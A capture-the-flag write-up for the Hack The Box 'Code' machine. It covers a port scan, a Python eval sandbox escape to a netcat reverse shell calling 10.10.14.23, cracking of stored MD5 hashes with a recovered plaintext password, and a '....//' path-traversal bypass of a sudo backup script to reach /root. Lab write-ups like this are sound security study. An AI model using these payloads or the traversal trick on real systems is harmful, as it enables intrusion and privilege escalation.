Reconnaissance

First, I added the new host to my known ones:

sudo echo "10.10.11.62 code.htb" | sudo tee -a /etc/hosts

Then, I performed a Nmap scan:

nmap -sC -T4 -p- code.htb > sC.txt
 
[redacted]
PORT   STATE SERVICE
22/tcp   open  ssh
| ssh-hostkey: 
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  upnp

I created a new user:

Weaponization

Iโ€™ll try to get RCE by Breaking Python 3 eval protections. I found this awesome blog netsec.expert.

Python has a lot of classes that exist for object, so we can know them by printing [].__class__.__base__.__subclasses__():

Specifically, the class number 317 is subprocess.Popen which allows you to spawn new processes, connect to their input/output/error pipes, and obtain their return codes.

subprocess.run(_args_,ย _*_,ย _stdin=None_,ย _input=None_,ย _stdout=None_,ย _stderr=None_,ย _capture_output=False_,ย _shell=False_,ย _cwd=None_,ย _timeout=None_,ย _check=False_,ย _encoding=None_,ย _errors=None_,ย _text=None_,ย _env=None_,ย _universal_newlines=None_,ย _**other_popen_kwargs_)

We can use tha argument _shell=True_ to spawn a reverse shell.

Exploitation

Iโ€™ll use the following payload to get a reverse shell:

().__class__.__bases__[0].__subclasses__()[317](['rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.23 666 >/tmp/f'], shell=True)

User flag

Pivoting

I found a database.db inside /home/app-production/app/instance, which had a md5 credential of a user called martin:

Also got another user called development passwordโ€™s hash.

Then I checked both hashes in crackstation:

Credentials: martin:nafeelswordsmaster

Privilege Escalation

I checked the sudo vulnerability:

sudo -l
 
[redacted]
(ALL : ALL) NOPASSWD: /usr/bin/backy.sh

I got the code of the script:

#!/bin/bash
 
if [[ $# -ne 1 ]]; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi
 
json_file="$1"
 
if [[ ! -f "$json_file" ]]; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi
 
allowed_paths=("/var/" "/home/")
 
updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")
 
/usr/bin/echo "$updated_json" > "$json_file"
 
directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')
 
is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if [[ "$path" == $allowed_path* ]]; then
            return 0
        fi
    done
    return 1
}
 
for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done
 
/usr/bin/backy "$json_file"

Basically the script takes the content of the task.json and then creates a backup of the content you specify, so I put this inside task.json:

{
  "destination": "/home/martin/backups/",
  "multiprocessing": true,
  "verbose_log": false,
  "directories_to_archive": [
    "/home/....//....//root"
  ]
}
  • NOTE: put ....// because the script also removes ./

Then I executed the script:

sudo /usr/bin/backy.sh ~/backups/task.json

Root flag

Machine pwned!